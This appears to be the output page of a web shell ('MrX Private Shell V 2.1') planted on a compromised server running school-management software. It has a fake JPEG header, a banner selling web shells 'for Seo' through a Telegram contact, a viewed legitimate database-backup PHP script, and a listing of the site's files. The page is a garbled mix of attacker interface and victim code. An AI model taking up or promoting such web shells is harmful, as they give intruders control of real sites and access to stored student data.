����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( $_REQUEST['modfunc'] !== 'backup' )
{
Drawheader( ProgramTitle() );
}
if ( $_REQUEST['modfunc'] === 'backup'
&& isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
if ( ! empty( $pg_dumpPath )
&& empty( $DatabaseDumpPath )
&& $DatabaseType === 'postgresql' )
{
// @since 10.0 Rename $pg_dumpPath configuration variable to $DatabaseDumpPath
$DatabaseDumpPath = $pg_dumpPath;
}
if ( ! isset( $DatabaseDumpPath ) )
{
$DatabaseDumpPath = '';
}
$exe = escapeshellcmd( $DatabaseDumpPath );
// Obtain the dump utility version number and check if the path is good.
$version = [];
preg_match( "/(\d+(?:\.\d+)?)(?:\.\d+)?.*$/", exec( $exe . " --version" ), $version );
if ( empty( $version ) )
{
$error[] = sprintf( 'The path to the database dump utility specified in the configuration file (config.inc.php) is wrong! (%s)', $DatabaseDumpPath );
ErrorMessage( $error, 'fatal' );
}
$ctype = "application/force-download";
header( "Pragma: public" );
header( "Expires: 0" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Cache-Control: public" );
header( "Content-Description: File Transfer" );
header( "Content-Type: $ctype" );
// Fix download backup filename when contains spaces: use double quotes.
$filename = '"' . Config( 'NAME' ) . '_database_backup_' . date( 'Y.m.d' ) . '.sql"';
$header = "Content-Disposition: attachment; filename=" . $filename . ";";
header( $header );
header( "Content-Transfer-Encoding: binary" );
if ( $DatabaseType === 'postgresql' )
{
// Code inspired by phpPgAdmin.
putenv( 'PGHOST=' . $DatabaseServer );
putenv( 'PGDATABASE=' . $DatabaseName );
putenv( 'PGUSER=' . $DatabaseUsername );
putenv( 'PGPASSWORD=' . $DatabasePassword );
if ( ! empty( $DatabasePort ) )
{
putenv( 'PGPORT=' . $DatabasePort );
}
// Build command for executing pg_dump. '--inserts' means dump data as INSERT commands (rather than COPY).
$cmd = $exe . ' --inserts';
}
else
{
// @since 10.0 Build command for executing mysqldump.
// @since 11.3 MySQL dump: export procedures, functions and triggers in a single transaction
$cmd = $exe . ' --user=' . escapeshellarg( $DatabaseUsername ) .
' --password=' . escapeshellarg( $DatabasePassword ) .
' --host=' . escapeshellarg( $DatabaseServer ) .
( ! empty( $DatabasePort ) ? ' --port=' . escapeshellarg( $DatabasePort ) : '' ) .
' --routines --triggers --single-transaction' .
' ' . escapeshellarg( $DatabaseName );
}
// Execute command and return the output to the screen.
passthru( $cmd );
exit;
}
if ( ! $_REQUEST['modfunc'] )
{
echo '<br />';
PopTable( 'header', _( 'Database Backup' ) );
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=backup&_ROSARIO_PDF=true' ) . '" method="POST">';
echo '<br />';
echo _( 'Download backup files periodically in case of system failure.' );
echo '<br /><br />';
echo '<div class="center">' . SubmitButton( _( 'Download Backup File' ) ) . '</div>';
echo '</form>';
PopTable( 'footer' );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AccessLog.php | File | 5.65 KB | 0644 |
|
| Calendar.php | File | 31.26 KB | 0644 |
|
| Configuration.php | File | 24.2 KB | 0644 |
|
| CopySchool.php | File | 7.95 KB | 0644 |
|
| DatabaseBackup.php | File | 2.99 KB | 0644 |
|
| GradeLevels.php | File | 4.66 KB | 0644 |
|
| MarkingPeriods.php | File | 21.84 KB | 0644 |
|
| Menu.php | File | 1.99 KB | 0644 |
|
| Periods.php | File | 8.26 KB | 0644 |
|
| PortalNotes.php | File | 7.57 KB | 0644 |
|
| PortalPolls.php | File | 11.62 KB | 0644 |
|
| Rollover.php | File | 36.85 KB | 0644 |
|
| SchoolFields.php | File | 2.88 KB | 0644 |
|
| Schools.php | File | 10.37 KB | 0644 |
|